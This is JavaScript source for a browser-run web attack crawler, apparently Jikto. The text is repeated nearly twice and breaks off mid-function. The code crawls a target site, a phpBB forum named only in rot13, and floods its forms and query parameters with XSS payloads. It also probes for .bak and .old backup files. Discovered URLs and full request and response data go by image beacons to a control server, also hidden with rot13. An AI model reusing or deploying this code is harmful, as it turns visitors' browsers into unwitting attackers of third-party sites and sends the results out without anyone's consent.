//------------------------------------------------------------------------------------ Analyzer
//------------------------------------------------------------------------------------ Analyzer
//------------------------------------------------------------------------------------ Analyzer
function linkIsGood(l) {
var lower = l.toLowerCase().substring(0,4);
//this is stupid (could false pos), but effective
if(lower == "java" || lower == "mail") {
return false;
}
var tmpU = Url.resolveRelativeLink(currRequest.url, l);
//do checks here
if(!fileExtAllowed(tmpU)) {
return false;
}
if(tmpU.hostname != startUrl.hostname) {
return false;
}
if(tmpU.port != startUrl.port) {
return false;
}
return true;
}
function extractHREFsAsRequests(txt) {
var pattern = /href\s*\=\s*(["'])([^'"]*)\1/gi;
var links = new Array();
var result;
while( (result = pattern.exec(txt)) != null) {
links.push(result[2]);
}
//refine what we RegExed out
var requests = new Array();
var counter = 0;
var linklen = links.length;
for(; counter < linklen; counter++) {
//clean out the prefix
links[counter] = links[counter].replace(prefix,"");
if(linkIsGood(links[counter])) {
requests.push( Request.fromUrl( Url.resolveRelativeLink(currRequest.url, links[counter]) ));
}
}
return requests;
}
function fileExtAllowed(u) {
for(var i=0, bfl = badFiles.length; i < bfl; i++) {
if(u.fileext.toLowerCase() == badFiles[i]) {
return false;
}
}
return true;
}
function tagParser(text) {
var PRENAME = 0;
var INNAME = 1;
var INPREVALUE = 2;
var INVALUE = 3;
var attribs = new Object();
var curr = 0;
var len = text.length;
var c = "";
var state = PRENAME;
var buff = "";
var name = "";
var quoteChar = "";
while(curr < text.length) {
c = text.charAt(curr);
switch(state) {
case PRENAME:
switch(c) {
case ' ':
case '\t':
case '\r':
case '\n':
curr++;
break;
default:
buff = c;
curr++;
state = INNAME;
break;
}
break;
case INNAME:
switch(c) {
case '=':
//= so name is done
name = trim(buff).toLowerCase();
buff = "";
quoteChar = "";
curr++;
state = INPREVALUE;
break;
default:
buff += c;
curr++;
break;
}
break;
case INPREVALUE:
switch(c) {
case ' ':
case '\t':
//ignore it
curr++;
break;
case "\'":
case "\"":
quoteChar = c;
curr++;
state = INVALUE;
break;
default:
//anything is a value
quoteChar = "";
buff += c;
curr++;
state = INVALUE;
break;
}
break;
case INVALUE:
switch(c) {
case quoteChar:
//all done!
attribs[name] = buff;
state = PRENAME;
curr++;
buff = "";
break;
case ' ':
case '\t':
case '\r':
case '\n':
if(quoteChar == "") {
attribs[name] = buff;
state = PRENAME;
buff = "";
}
curr++;
break;
default:
buff += c;
curr++;
break;
}
break;
} //end switch
} //end while
var c = 10;
return attribs;
}
function extractFormsAsRequests(txt) {
var requests = new Array();
var lowertxt = txt.toLowerCase();
//RegEx and results for FORM search
var pattern = /<form\s+([^>]+)/gi;
var result;
while( (result = pattern.exec(txt)) != null) {
//parse out attributes for the form tag
currForm = tagParser(result[1]);
//setup something for the inputs
currForm.inputs = new Array();
//find the "end" tag
var endp = lowertxt.indexOf("</form", result.index+1);
//grab all that text "inside" thos form
var inner = txt.substring(result.index, endp);
//grab all the inputs in the form
var pattern2 = /<input\s+([^>]+)/gi;
var result2;
while( (result2 = pattern2.exec(inner)) != null) {
//parse out the attributes
currForm.inputs[currForm.inputs.length] = tagParser(result2[1]);
}
//needs some inputs and an action
if(currForm.inputs.length > 0 && currForm.action != undefined) {
if(linkIsGood(currForm.action)) {
var u = Url.resolveRelativeLink(currRequest.url, currForm.action);
if(currForm.method != undefined && currForm.method.toLowerCase() == "post") {
var req = Request.fromUrl(u);
req.method = "POST";
req.data = buildParamString(currForm.inputs);
requests[requests.length] = req;
} else {
u.queryParams = buildParamString(currForm.inputs);
requests[requests.length] = Request.fromUrl(u);
}
}
}
}
return requests;
}
function buildParamString(inps) {
var ret = new Array();
var seen = new Object();
for(var i =0; i < inps.length; i++) {
if(inps[i].name != undefined && seen[inps[i].name] == undefined) {
seen[inps[i].name] = true;
if(inps[i].value != undefined) {
ret[ret.length] = new NVPair(inps[i].name, inps[i].value);
} else {
ret[ret.length] = new NVPair(inps[i].name, "admin");
}
}
}
return ret;
}
//------------------------------------------------------------------------------------ Attack Lib
//------------------------------------------------------------------------------------ Attack Lib
//------------------------------------------------------------------------------------ Attack Lib
function generateBackupAttacks(request) {
var requests = new Array();
var newreq = new cloneObject(request);
newreq.url.filename += ".bak";
newreq.url.queryParams = new Array();
newreq.data = "";
newreq.method = "GET";
newreq.origin = "audit";
newreq.title = "Backup File Detected!";
newreq.sev = 50;
newreq.regex = /HTTP\/1.1\s200\sOK/i;
requests[requests.length] = newreq;
var newreq = new cloneObject(request);
newreq.url.filename += ".old";
newreq.url.queryParams = new Array();
newreq.data = "";
newreq.method = "GET";
newreq.origin = "audit";
newreq.title = "Backup File Detected!";
newreq.sev = 50;
newreq.regex = /HTTP\/1.1\s200\sOK/i;
requests[requests.length] = newreq;
return requests;
}
function generatePPASSAttacks(request) {
var requests = new Array();
if(request.method == "GET" && request.url.queryParams.length > 0) {
var newreq = new cloneObject(request);
newreq.url.queryParams = new Array();
for(var xxx=0; xxx < request.url.queryParams.length; xxx++) {
newreq.url.queryParams[xxx] = new NVPair(request.url.queryParams[xxx].name,"<script>alert('xss')</script>");
}
newreq.origin = "audit";
newreq.title = "Cross Site Scripting";
newreq.sev = 100;
newreq.regex = /script/i;
requests[requests.length] = newreq;
} else if(request.method == "POST") {
var t = request.data.length > 0;
var newreq = new cloneObject(request);
newreq.url.queryParams = new Array();
newreq.data = new Array();
newreq.data[0] = new NVPair("admin", "<script>alert('xss')</script>");
newreq.data[1] = new NVPair("password", "<script>alert('xss')</script>");
newreq.data[2] = new NVPair("graphicOption", "<script>alert('xss')</script>");
newreq.origin = "audit";
newreq.title = "Cross Site Scripting";
newreq.sev = 100;
newreq.regex = /script/i;
requests[requests.length] = newreq;
}
return requests;
}
//------------------------------------------------------------------------------------ Global Variables
//------------------------------------------------------------------------------------ Global Variables
//------------------------------------------------------------------------------------ Global Variables
var currRequest = null;
var currResponse = null;
//startURL!
var GUIURL = rot13("uggc://jjj.cragrfg.vg/wvxgb/pbageby.gkg"); //http://www.pentest.it/jikto/control.txt //http://localhost/JiktoControl/Collect.aspx?type=
//uggc://ybpnyubfg/WvxgbPbageby/Pbyyrpg.nfck?glcr=
var SLASH = String.fromCharCode(47);
//prefix for our requests
var prefix = window.location.pathname.substr(0,window.location.pathname.indexOf("http:", 7))
//image extensions
var badFiles = ["jpg", "jpeg", "gif", "png", "ico", "psd", "xcf", "xmb", "svg", "wmv", "bmp", "pdf", "ps", "doc", "dot", "xls", "pot", "ppt", "avi", "mpeg", "mpg", "asf", "mov", "wmv", "rm", "mp2", "mp3", "wma", "wav", "aiff", "aif", "mid", "midi", "mp4", "au", "ra", "exe", "pif", "bat", "msi", "swf", "class", "sh", "zip", "gz", "tar", "rar", "z", "jar", "cab", "rpm"];
//our requestor!
var xhr= new XMLHttpRequest();
//------------------------------------------------------------------------------------ GUI Interface
//------------------------------------------------------------------------------------ GUI Interface
//------------------------------------------------------------------------------------ GUI Interface
//alert("GUI");
function reportURL(method, url) {
var i = new Image();
i.src = GUIURL + "1&url=" + escape(url) + "&method=" + escape(method);
}
function reportVuln(method, url, sev, title, req, resp) {
var i = new Image();
i.src = GUIURL + "2&url=" + escape(url) + "&method=" + escape(method)+ "&sev=" + escape(sev) +"&title=" + escape(title) +"&req=" + escape(req) + "&resp=" + escape(resp);
}
//------------------------------------------------------------------------------------ Misc Funcs
//------------------------------------------------------------------------------------ Misc Funcs
//------------------------------------------------------------------------------------ Misc Funcs
function cloneObject(what) {
for (var i in what) {
if(typeof(what[i]) == "object") {
this[i] = new cloneObject(what[i]);
} else {
this[i] = what[i];
}
}
}
function rot13(txt) {
var ret =""
var len = txt.length;
for(var i=0; i < len; i++) {
var b = txt.charCodeAt(i);
if( ((b>64) && (b<78)) || ((b>96) && (b<110)) ) {
b +=13;
} else if( ((b>77) && (b<91)) || ((b>109) && (b<123)) ) {
b -=13;
}
ret += String.fromCharCode(b);
}
return ret;
}
function trim(s) {
return s.replace(/^\s*(\S*(\s+\S+)*)\s*$/, "$1");
}
//------------------------------------------------------------------------------------ Request
//------------------------------------------------------------------------------------ Request
//------------------------------------------------------------------------------------ Request
function Request() {
this.url = null;
this.method = "";
this.origin = "crawl";
this.data = "";
this.title = "xx";
this.regex = "";
this.sev = 0;
}
Request.fromUrl = function(u) {
var ret = new Request();
ret.url = u;
ret.method = "GET";
ret.origin = "crawl";
return ret;
}
Request.prototype.getResource = function () {
return this.url.toString();
}
Request.prototype.toString = function () {
return String.concat(this.method, " ", this.getResource(), " HTTP/1.1");
}
//------------------------------------------------------------------------------------ Response
//------------------------------------------------------------------------------------ Response
//------------------------------------------------------------------------------------ Response
//create a response object from a completely returned XHR obj!
function Response(x) {
this.status = x.status;
this.statusText = x.statusText;
this.is404 = false;
this.headersString = x.getAllResponseHeaders();
//extract the headers into a hash table
this.headers = new Object();
var tmp = this.headersString.split("\n");
var j;
var k = ": ";
for(var i =0; i < tmp.length; i++) {
j = tmp[i].indexOf(k);
if(j > 0) {
this.headers[tmp[i].substring(0, j)] = tmp[i].substring(j + 2, tmp[i].length);
}
}
this.body = x.responseText;
return this;
}
function Response_toString() {
var s="";
var i;
s = String.concat(s, "HTTP/1.1 ", this.status, " ", this.statusText, "\n");
for (i in this.headers) {
s = String.concat(s, i, ": ", this.headers[i], "\n");
}
s = String.concat(s, this.data);
return s;
}
Response.prototype.toString = Response_toString;
//------------------------------------------------------------------------------------ Scanner
//------------------------------------------------------------------------------------ Scanner
//------------------------------------------------------------------------------------ Scanner
var pending = new Object();
var pendingLen = 0;
var visited = new Object();
function addRequest(r) {
if(r != undefined) {
if(pending[r.toString()] == undefined) {
if(visited[r.toString()] == undefined) {
pending[r.toString()] = r;
pendingLen++;
return true;
}
}
return false;
}
}
function processResponse() {
// only if req shows "loaded"
if (xhr.readyState == 4) {
//send reponse off
currResponse = new Response(xhr);
if(currResponse.status == 200) {
reportURL(currRequest.method, currRequest.getResource());
}
var requests = null;
//grab any requests from HREFs
requests = extractHREFsAsRequests(currResponse.body);
var requests2 = extractFormsAsRequests(currResponse.body);
if(requests2.length > 0) {
requests = requests.concat(requests2);
}
if(requests.length > 0) {
//bubble up the GUI and add them (if needed)
for(var i =0; i < requests.length; i++)
{
addRequest(requests[i]);
//================= Generate Attacks
requests2 = generateBackupAttacks(requests[i]);
//requests2 = (generatePPASSAttacks(requests[i]));
requests2 = requests2.concat(generatePPASSAttacks(requests[i]));
if(requests2.length > 0) {
for(var k =0; k < requests2.length; k++)
{
addRequest(requests2[k]);
}
}
}
}
if(xhr.responseText.indexOf("xss") > 0) {
reportVuln(currRequest.method, currRequest.getResource(), 100, "Cross Site Scripting", currRequest.toString(), currResponse.toString());
}
//==============score attacks here
if(currRequest.origin == "audit") {
if(currResponse.toString().match(currRequest.regex)) {
reportVuln(currRequest.method, currRequest.getResource(), currRequest.sev, currRequest.title, currRequest.toString(), currResponse.toString());
}
}
sendNextRequest();
}
}
function sendNextRequest() {
if(pendingLen == 0) {
//toGUI("Scan Complete!");
return true;
}
//grab the first Request
for(i in pending) {
currRequest = pending[i];
break;
}
//remove it from the queue
delete pending[currRequest.toString()];
pendingLen--;
//add it to visited
visited[currRequest.toString()] = true;
//clear out the old response obj
currResponse = null;
xhr = new XMLHttpRequest();
var data = "";
//register the handler function
xhr.onreadystatechange = processResponse;
xhr.open(currRequest.method, prefix + currRequest.getResource(), true);
if(currRequest.method == "POST") {
data = currRequest.data.join("&");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("Content-length", data.length);
//http.setRequestHeader("Connection", "close");
}
//add our magic header
xhr.setRequestHeader('X-Hax0r', 'Acidus');
xhr.send(data);
}
//------------------------------------------------------------------------------------ URL Object
//------------------------------------------------------------------------------------ URL Object
//------------------------------------------------------------------------------------ URL Object
function NVPair(n, v) {
this.name = n;
this.value = v;
return this;
}
NVPair.prototype.toString = function() {
return String.concat(escape(this.name), "=", escape(this.value));
}
function setParamValue(name, value, ar) {
for (var yyy in ar.length) {
if(ar[yyy].name != undefined) {
if(ar[yyy].name == name) {
ar[yyy].value = value;
break;
}
}
}
return ar;
}
function getParamArray(qs) {
var ret = new Array();
var nvp = qs.split("&");
for(var i=0; i < nvp.length; i++) {
var tmp = nvp[i].split("=");
if(tmp.length == 1) {
ret[ret.length] = new NVPair(unescape(tmp[0]), "");
} else if(tmp.length == 2) {
ret[ret.length] = new NVPair(unescape(tmp[0]), unescape(tmp[1]));
}
}
return ret;
}
function Url(url) {
this.protocol = "";
this.hostname = "";
this.port = "";
this.path = "";
this.filename="";
this.fileext="";
this.frag ="";
this.queryParams = new Array();
if(arguments.length == 1) {
var tmp;
var rest;
//grab the fraq
tmp = url.split("#");
rest = tmp[0];
this.frag= (tmp.length > 1) ? unescape(String.concat("#",tmp[1])) : "";
//grab the query string
tmp = rest.split("?");
rest = tmp[0];
if(tmp.length > 1) {
this.queryParams = getParamArray(tmp[1]);
}
//grab the protocol
tmp = rest.split("//");
if(tmp.length > 1) {
tmp[0] = unescape(tmp[0]);
this.protocol = tmp[0].substring(0,tmp[0].length-1).toLowerCase();
rest = tmp[1];
} else {
//alert("Invalid url \"" + url + "\"");
throw "Invalid URL";
}
//grab the host
tmp = rest.split(SLASH);
if(tmp.length > 1) {
//get rid of hostname
this.hostname = unescape(tmp.shift()).toLowerCase();
//only 1 thing left, which is the filename
if(tmp.length == 1) {
this.filename = unescape(tmp[0]);
this.path = SLASH;
} else {
//filename is at the end
this.filename = unescape(tmp.pop());
//recombine and add leading and trailing slashes
for(var i =0; i < tmp.length; i++) {
tmp[i] = unescape(tmp[i]);
}
for(var i = 0; i < tmp.length; i++) {
if(tmp[i] == ".") {
tmp.splice(i, 1);
i = i -1;
} else if(tmp[i] == "..") {
if(i == 0) {
//more /../ than directories
//alert("Invalid url \"" + url + "\"");
throw "Invalid URL";
}
tmp.splice(i-1, 2);
i=i-2;
}
}
if(tmp.length >=1) {
this.path = String.concat(SLASH, tmp.join(SLASH), SLASH);
} else {
this.path = SLASH;
}
}
} else {
this.hostname = unescape(tmp[0]);
this.path = SLASH;
}
//grab the port
tmp = this.hostname.split(":");
this.hostname = tmp[0];
this.port = (tmp.length == 2) ? unescape(tmp[1]) : "";
//be smart and fill in the port as needed
if(this.port.length == 0) {
if(this.protocol == "http")
this.port = "80";
else
this.port = "443";
}
//grab the filename extension
if(this.filename.length > 0) {
tmp = this.filename.split(".");
this.fileext = (tmp.length > 1) ? tmp.pop() : "";
}
}
return this;
}
Url.prototype.addNV = function(name, value) {
this.queryParams[this.queryParams.length] = new NVPair(name, value);
}
function Url_resolveRelativeLink(baseUrl, relativeLink) {
if(typeof(baseUrl) == "string") {
baseUrl = new Url(baseUrl);
}
//is it relative?
if(unescape(relativeLink).indexOf("://") > 0) {
return new Url(relativeLink);
}
//alert("BASE IS: " + baseUrl);
var s;
//set up our base
s = String.concat(baseUrl.protocol,
"://",
baseUrl.hostname,
(baseUrl.port.length > 0) ? ":" + baseUrl.port : "");
if(relativeLink.substring(0,1) == SLASH) {
//link is relative to site root, so directly concat
s = String.concat(s, relativeLink);
} else {
//link is relative to current path
s = String.concat(s, baseUrl.path, relativeLink);
}
return new Url(s);
}
function Url_toString() {
return String.concat(this.protocol,
"://",
this.hostname,
(this.port.length > 0) ? ":" + this.port : "",
this.path,
this.filename,
(this.queryParams.length > 0) ? "?" + this.queryParams.join("&") : "",
this.frag);
}
function Url_toStringNoPath() {
return String.concat(this.protocol,
"://",
this.hostname,
(this.port.length > 0) ? ":" + this.port : "");
}
Url.prototype.toString = Url_toString;
Url.prototype.toStringNoPath = Url_toStringNoPath;
Url.resolveRelativeLink = Url_resolveRelativeLink;
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------------
//var startUrlString = rot13("uggc://mreb.jronccfrphevgl.pbz/");
var startUrlString = rot13("uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc"); //http://blackhat-forums.com/phpBB2/index.php uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc
//var startUrlString = rot13("");
var startUrl = new Url(startUrlString);
//queue up first request
addRequest(Request.fromUrl(startUrl));
//let 'er rip!
sendNextRequest();
//------------------------------------------------------------------------------------ Analyzer
//------------------------------------------------------------------------------------ Analyzer
function linkIsGood(l) {
var lower = l.toLowerCase().substring(0,4);
//this is stupid (could false pos), but effective
if(lower == "java" || lower == "mail") {
return false;
}
var tmpU = Url.resolveRelativeLink(currRequest.url, l);
//do checks here
if(!fileExtAllowed(tmpU)) {
return false;
}
if(tmpU.hostname != startUrl.hostname) {
return false;
}
if(tmpU.port != startUrl.port) {
return false;
}
return true;
}
function extractHREFsAsRequests(txt) {
var pattern = /href\s*\=\s*(["'])([^'"]*)\1/gi;
var links = new Array();
var result;
while( (result = pattern.exec(txt)) != null) {
links.push(result[2]);
}
//refine what we RegExed out
var requests = new Array();
var counter = 0;
var linklen = links.length;
for(; counter < linklen; counter++) {
//clean out the prefix
links[counter] = links[counter].replace(prefix,"");
if(linkIsGood(links[counter])) {
requests.push( Request.fromUrl( Url.resolveRelativeLink(currRequest.url, links[counter]) ));
}
}
return requests;
}
function fileExtAllowed(u) {
for(var i=0, bfl = badFiles.length; i < bfl; i++) {
if(u.fileext.toLowerCase() == badFiles[i]) {
return false;
}
}
return true;
}
function tagParser(text) {
var PRENAME = 0;
var INNAME = 1;
var INPREVALUE = 2;
var INVALUE = 3;
var attribs = new Object();
var curr = 0;
var len = text.length;
var c = "";
var state = PRENAME;
var buff = "";
var name = "";
var quoteChar = "";
while(curr < text.length) {
c = text.charAt(curr);
switch(state) {
case PRENAME:
switch(c) {
case ' ':
case '\t':
case '\r':
case '\n':
curr++;
break;
default:
buff = c;
curr++;
state = INNAME;
break;
}
break;
case INNAME:
switch(c) {
case '=':
//= so name is done
name = trim(buff).toLowerCase();
buff = "";
quoteChar = "";
curr++;
state = INPREVALUE;
break;
default:
buff += c;
curr++;
break;
}
break;
case INPREVALUE:
switch(c) {
case ' ':
case '\t':
//ignore it
curr++;
break;
case "\'":
case "\"":
quoteChar = c;
curr++;
state = INVALUE;
break;
default:
//anything is a value
quoteChar = "";
buff += c;
curr++;
state = INVALUE;
break;
}
break;
case INVALUE:
switch(c) {
case quoteChar:
//all done!
attribs[name] = buff;
state = PRENAME;
curr++;
buff = "";
break;
case ' ':
case '\t':
case '\r':
case '\n':
if(quoteChar == "") {
attribs[name] = buff;
state = PRENAME;
buff = "";
}
curr++;
break;
default:
buff += c;
curr++;
break;
}
break;
} //end switch
} //end while
var c = 10;
return attribs;
}
function extractFormsAsRequests(txt) {
var requests = new Array();
var lowertxt = txt.toLowerCase();
//RegEx and results for FORM search
var pattern = /<form\s+([^>]+)/gi;
var result;
while( (result = pattern.exec(txt)) != null) {
//parse out attributes for the form tag
currForm = tagParser(result[1]);
//setup something for the inputs
currForm.inputs = new Array();
//find the "end" tag
var endp = lowertxt.indexOf("</form", result.index+1);
//grab all that text "inside" thos form
var inner = txt.substring(result.index, endp);
//grab all the inputs in the form
var pattern2 = /<input\s+([^>]+)/gi;
var result2;
while( (result2 = pattern2.exec(inner)) != null) {
//parse out the attributes
currForm.inputs[currForm.inputs.length] = tagParser(result2[1]);
}
//needs some inputs and an action
if(currForm.inputs.length > 0 && currForm.action != undefined) {
if(linkIsGood(currForm.action)) {
var u = Url.resolveRelativeLink(currRequest.url, currForm.action);
if(currForm.method != undefined && currForm.method.toLowerCase() == "post") {
var req = Request.fromUrl(u);
req.method = "POST";
req.data = buildParamString(currForm.inputs);
requests[requests.length] = req;
} else {
u.queryParams = buildParamString(currForm.inputs);
requests[requests.length] = Request.fromUrl(u);
}
}
}
}
return requests;
}
function buildParamString(inps) {
var ret = new Array();
var seen = new Object();
for(var i =0; i < inps.length; i++) {
if(inps[i].name != undefined && seen[inps[i].name] == undefined) {
seen[inps[i].name] = true;
if(inps[i].value != undefined) {
ret[ret.length] = new NVPair(inps[i].name, inps[i].value);
} else {
ret[ret.length] = new NVPair(inps[i].name, "admin");
}
}
}
return ret;
}
//------------------------------------------------------------------------------------ Attack Lib
//------------------------------------------------------------------------------------ Attack Lib
//------------------------------------------------------------------------------------ Attack Lib
function generateBackupAttacks(request) {
var requests = new Array();
var newreq = new cloneObject(request);
newreq.url.filename += ".bak";
newreq.url.queryParams = new Array();
newreq.data = "";
newreq.method = "GET";
newreq.origin = "audit";
newreq.title = "Backup File Detected!";
newreq.sev = 50;
newreq.regex = /HTTP\/1.1\s200\sOK/i;
requests[requests.length] = newreq;
var newreq = new cloneObject(request);
newreq.url.filename += ".old";
newreq.url.queryParams = new Array();
newreq.data = "";
newreq.method = "GET";
newreq.origin = "audit";
newreq.title = "Backup File Detected!";
newreq.sev = 50;
newreq.regex = /HTTP\/1.1\s200\sOK/i;
requests[requests.length] = newreq;
return requests;
}
function generatePPASSAttacks(request) {
var requests = new Array();
if(request.method == "GET" && request.url.queryParams.length > 0) {
var newreq = new cloneObject(request);
newreq.url.queryParams = new Array();
for(var xxx=0; xxx < request.url.queryParams.length; xxx++) {
newreq.url.queryParams[xxx] = new NVPair(request.url.queryParams[xxx].name,"<script>alert('xss')</script>");
}
newreq.origin = "audit";
newreq.title = "Cross Site Scripting";
newreq.sev = 100;
newreq.regex = /script/i;
requests[requests.length] = newreq;
} else if(request.method == "POST") {
var t = request.data.length > 0;
var newreq = new cloneObject(request);
newreq.url.queryParams = new Array();
newreq.data = new Array();
newreq.data[0] = new NVPair("admin", "<script>alert('xss')</script>");
newreq.data[1] = new NVPair("password", "<script>alert('xss')</script>");
newreq.data[2] = new NVPair("graphicOption", "<script>alert('xss')</script>");
newreq.origin = "audit";
newreq.title = "Cross Site Scripting";
newreq.sev = 100;
newreq.regex = /script/i;
requests[requests.length] = newreq;
}
return requests;
}
//------------------------------------------------------------------------------------ Global Variables
//------------------------------------------------------------------------------------ Global Variables
//------------------------------------------------------------------------------------ Global Variables
var currRequest = null;
var currResponse = null;
//startURL!
var GUIURL = rot13("uggc://jjj.cragrfg.vg/wvxgb/pbageby.gkg"); //http://www.pentest.it/jikto/control.txt //http://localhost/JiktoControl/Collect.aspx?type=
//uggc://ybpnyubfg/WvxgbPbageby/Pbyyrpg.nfck?glcr=
var SLASH = String.fromCharCode(47);
//prefix for our requests
var prefix = window.location.pathname.substr(0,window.location.pathname.indexOf("http:", 7))
//image extensions
var badFiles = ["jpg", "jpeg", "gif", "png", "ico", "psd", "xcf", "xmb", "svg", "wmv", "bmp", "pdf", "ps", "doc", "dot", "xls", "pot", "ppt", "avi", "mpeg", "mpg", "asf", "mov", "wmv", "rm", "mp2", "mp3", "wma", "wav", "aiff", "aif", "mid", "midi", "mp4", "au", "ra", "exe", "pif", "bat", "msi", "swf", "class", "sh", "zip", "gz", "tar", "rar", "z", "jar", "cab", "rpm"];
//our requestor!
var xhr= new XMLHttpRequest();
//------------------------------------------------------------------------------------ GUI Interface
//------------------------------------------------------------------------------------ GUI Interface
//------------------------------------------------------------------------------------ GUI Interface
//alert("GUI");
function reportURL(method, url) {
var i = new Image();
i.src = GUIURL + "1&url=" + escape(url) + "&method=" + escape(method);
}
function reportVuln(method, url, sev, title, req, resp) {
var i = new Image();
i.src = GUIURL + "2&url=" + escape(url) + "&method=" + escape(method)+ "&sev=" + escape(sev) +"&title=" + escape(title) +"&req=" + escape(req) + "&resp=" + escape(resp);
}
//------------------------------------------------------------------------------------ Misc Funcs
//------------------------------------------------------------------------------------ Misc Funcs
//------------------------------------------------------------------------------------ Misc Funcs
function cloneObject(what) {
for (var i in what) {
if(typeof(what[i]) == "object") {
this[i] = new cloneObject(what[i]);
} else {
this[i] = what[i];
}
}
}
function rot13(txt) {
var ret =""
var len = txt.length;
for(var i=0; i < len; i++) {
var b = txt.charCodeAt(i);
if( ((b>64) && (b<78)) || ((b>96) && (b<110)) ) {
b +=13;
} else if( ((b>77) && (b<91)) || ((b>109) && (b<123)) ) {
b -=13;
}
ret += String.fromCharCode(b);
}
return ret;
}
function trim(s) {
return s.replace(/^\s*(\S*(\s+\S+)*)\s*$/, "$1");
}
//------------------------------------------------------------------------------------ Request
//------------------------------------------------------------------------------------ Request
//------------------------------------------------------------------------------------ Request
function Request() {
this.url = null;
this.method = "";
this.origin = "crawl";
this.data = "";
this.title = "xx";
this.regex = "";
this.sev = 0;
}
Request.fromUrl = function(u) {
var ret = new Request();
ret.url = u;
ret.method = "GET";
ret.origin = "crawl";
return ret;
}
Request.prototype.getResource = function () {
return this.url.toString();
}
Request.prototype.toString = function () {
return String.concat(this.method, " ", this.getResource(), " HTTP/1.1");
}
//------------------------------------------------------------------------------------ Response
//------------------------------------------------------------------------------------ Response
//------------------------------------------------------------------------------------ Response
//create a response object from a completely returned XHR obj!
function Response(x) {
this.status = x.status;
this.statusText = x.statusText;
this.is404 = false;
this.headersString = x.getAllResponseHeaders();
//extract the headers into a hash table
this.headers = new Object();
var tmp = this.headersString.split("\n");
var j;
var k = ": ";
for(var i =0; i < tmp.length; i++) {
j = tmp[i].indexOf(k);
if(j > 0) {
this.headers[tmp[i].substring(0, j)] = tmp[i].substring(j + 2, tmp[i].length);
}
}
this.body = x.responseText;
return this;
}
function Response_toString() {
var s="";
var i;
s = String.concat(s, "HTTP/1.1 ", this.status, " ", this.statusText, "\n");
for (i in this.headers) {
s = String.concat(s, i, ": ", this.headers[i], "\n");
}
s = String.concat(s, this.data);
return s;
}
Response.prototype.toString = Response_toString;
//------------------------------------------------------------------------------------ Scanner
//------------------------------------------------------------------------------------ Scanner
//------------------------------------------------------------------------------------ Scanner
var pending = new Object();
var pendingLen = 0;
var visited = new Object();
function addRequest(r) {
if(r != undefined) {
if(pending[r.toString()] == undefined) {
if(visited[r.toString()] == undefined) {
pending[r.toString()] = r;
pendingLen++;
return true;
}
}
return false;
}
}
function processResponse() {
// only if req shows "loaded"
if (xhr.readyState == 4) {
//send reponse off
currResponse = new Response(xhr);
if(currResponse.status == 200) {
reportURL(currRequest.method, currRequest.getResource());
}
var requests = null;
//grab any requests from HREFs
requests = extractHREFsAsRequests(currResponse.body);
var requests2 = extractFormsAsRequests(currResponse.body);
if(requests2.length > 0) {
requests = requests.concat(requests2);
}
if(requests.length > 0) {
//bubble up the GUI and add them (if needed)
for(var i =0; i < requests.length; i++)
{
addRequest(requests[i]);
//================= Generate Attacks
requests2 = generateBackupAttacks(requests[i]);
//requests2 = (generatePPASSAttacks(requests[i]));
requests2 = requests2.concat(generatePPASSAttacks(requests[i]));
if(requests2.length > 0) {
for(var k =0; k < requests2.length; k++)
{
addRequest(requests2[k]);
}
}
}
}
if(xhr.responseText.indexOf("xss") > 0) {
reportVuln(currRequest.method, currRequest.getResource(), 100, "Cross Site Scripting", currRequest.toString(), currResponse.toString());
}
//==============score attacks here
if(currRequest.origin == "audit") {
if(currResponse.toString().match(currRequest.regex)) {
reportVuln(currRequest.method, currRequest.getResource(), currRequest.sev, currRequest.title, currRequest.toString(), currResponse.toString());
}
}
sendNextRequest();
}
}
function sendNextRequest() {
if(pendingLen == 0) {
//toGUI("Scan Complete!");
return true;
}
//grab the first Request
for(i in pending) {
currRequest = pending[i];
break;
}
//remove it from the queue
delete pending[currRequest.toString()];
pendingLen--;
//add it to visited
visited[currRequest.toString()] = true;
//clear out the old response obj
currResponse = null;
xhr = new XMLHttpRequest();
var data = "";
//register the handler function
xhr.onreadystatechange = processResponse;
xhr.open(currRequest.method, prefix + currRequest.getResource(), true);
if(currRequest.method == "POST") {
data = currRequest.data.join("&");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("Content-length", data.length);
//http.setRequestHeader("Connection", "close");
}
//add our magic header
xhr.setRequestHeader('X-Hax0r', 'Acidus');
xhr.send(data);
}
//------------------------------------------------------------------------------------ URL Object
//------------------------------------------------------------------------------------ URL Object
//------------------------------------------------------------------------------------ URL Object
function NVPair(n, v) {
this.name = n;
this.value = v;
return this;
}
NVPair.prototype.toString = function() {
return String.concat(escape(this.name), "=", escape(this.value));
}
function setParamValue(name, value, ar) {
for (var yyy in ar.length) {
if(ar[yyy].name != undefined) {
if(ar[yyy].name == name) {
ar[yyy].value = value;
break;
}
}
}
return ar;
}
function getParamArray(qs) {
var ret = new Array();
var nvp = qs.split("&");
for(var i=0; i < nvp.length; i++) {
var tmp = nvp[i].split("=");
if(tmp.length == 1) {
ret[ret.length] = new NVPair(unescape(tmp[0]), "");
} else if(tmp.length == 2) {
ret[ret.length] = new NVPair(unescape(tmp[0]), unescape(tmp[1]));
}
}
return ret;
}
function Url(url) {
this.protocol = "";
this.hostname = "";
this.port = "";
this.path = "";
this.filename="";
this.fileext="";
this.frag ="";
this.queryParams = new Array();
if(arguments.length == 1) {
var tmp;
var rest;
//grab the fraq
tmp = url.split("#");
rest = tmp[0];
this.frag= (tmp.length > 1) ? unescape(String.concat("#",tmp[1])) : "";
//grab the query string
tmp = rest.split("?");
rest = tmp[0];
if(tmp.length > 1) {
this.queryParams = getParamArray(tmp[1]);
}
//grab the protocol
tmp = rest.split("//");
if(tmp.length > 1) {
tmp[0] = unescape(tmp[0]);
this.protocol = tmp[0].substring(0,tmp[0].length-1).toLowerCase();
rest = tmp[1];
} else {
//alert("Invalid url \"" + url + "\"");
throw "Invalid URL";
}
//grab the host
tmp = rest.split(SLASH);
if(tmp.length > 1) {
//get rid of hostname
this.hostname = unescape(tmp.shift()).toLowerCase();
//only 1 thing left, which is the filename
if(tmp.length == 1) {
this.filename = unescape(tmp[0]);
this.path = SLASH;
} else {
//filename is at the end
this.filename = unescape(tmp.pop());
//recombine and add leading and trailing slashes
for(var i =0; i < tmp.length; i++) {
tmp[i] = unescape(tmp[i]);
}
